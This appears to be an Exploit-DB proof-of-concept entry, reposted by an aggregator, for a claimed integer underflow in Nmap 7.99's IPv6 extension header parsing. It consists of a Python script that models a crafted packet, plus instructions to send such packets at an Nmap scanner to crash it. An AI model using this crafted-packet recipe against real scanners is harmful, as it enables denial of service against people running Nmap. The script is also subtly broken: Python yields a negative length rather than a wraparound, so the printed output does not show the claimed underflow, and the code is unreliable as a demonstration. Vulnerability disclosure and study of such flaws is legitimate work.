[dos] Nmap 7.99 - Extension Header Integer Underflow
# Exploit Title: Nmap 7.99 - Extension 2026-8-17 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title:         Nmap  7.99  - Extension Header Integer Underflow  
# CVE:                   CVE-2026-58058
# Date:                  2026-06-29
# Exploit Author:        Mohammed Idrees Banyamer
# Author Country:        Jordan
# Instagram:             @banyamer_security
# Author GitHub:         https://github.com/mbanyamer
# Author Blog  :         https://banyamersecurity.com/blog/
# Vendor Homepage:       https://nmap.org
# Software Link:         https://nmap.org/download
# Affected:              Nmap <= 7.99
# Tested on:             Nmap 7.99 (raw IPv6 scans)
# Category:              Remote Denial of Service
# Platform:              Linux / Windows / macOS
# Exploit Type:          Proof of Concept
# CVSS:                  6.9
# Description:           Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
# Fixed in:              Nmap commit bb6754e (post-7.99)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   --
#
# Notes:
#   • This is a standalone parser + packet model PoC.
#   • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
#
# How to Use
#
# Step 1:
#   Save as exploit.py and run with Python 3.
#
# Step 2:
#   Observe the length wraparound that would cause Nmap to misbehave.
def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def is_extension(hdr):
    return hdr in [0, 43, 44, 60]

def is_upper(hdr):
    return hdr in [6, 17, 58, 132]

def parse_ipv6_payload(packet, upper_only=True):
    if len(packet) < 40:
        return None, None, None

    nxt = packet[6]
    p = 40
    end = len(packet)

    while p < end and is_extension(nxt):
        if p + 2 > end:
            return None, None, None
        nxt = packet[p]
        ext_len = packet[p + 1]
        p += (ext_len + 1) * 8

    payload_len = end - p
    if upper_only and not is_upper(nxt):
        return None, None, None

    return p, nxt, payload_len

def main():
    banner()

    # Crafted packet (48 bytes)
    packet = bytearray(48)
    packet[0] = 0x60
    packet[4] = 0x00
    packet[5] = 0x08   # IPv6 payload length = 8
    packet[6] = 0      # Next Header = Hop-by-Hop
    packet[40] = 17    # Extension next = UDP
    packet[41] = 1     # Extension length field = 1

    captured_len = len(packet)
    payload_offset, next_header, payload_len = parse_ipv6_payload(packet)

    print("helper_returned =", "true" if payload_offset is not None else "false")
    print("next_header =", next_header)
    print("payload_offset =", payload_offset)
    print("wrapped_payload_len =", payload_len)

    # Downstream length adjustment model
    ip_payload_len = (packet[4] << 8) | packet[5]
    validator_len = captured_len
    if payload_len > ip_payload_len:
        validator_len -= payload_len - ip_payload_len

    print("validator_len_after_adjust =", validator_len)
    print("captured_len =", captured_len)

if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52647
如有侵权请联系:admin#unsafe.sh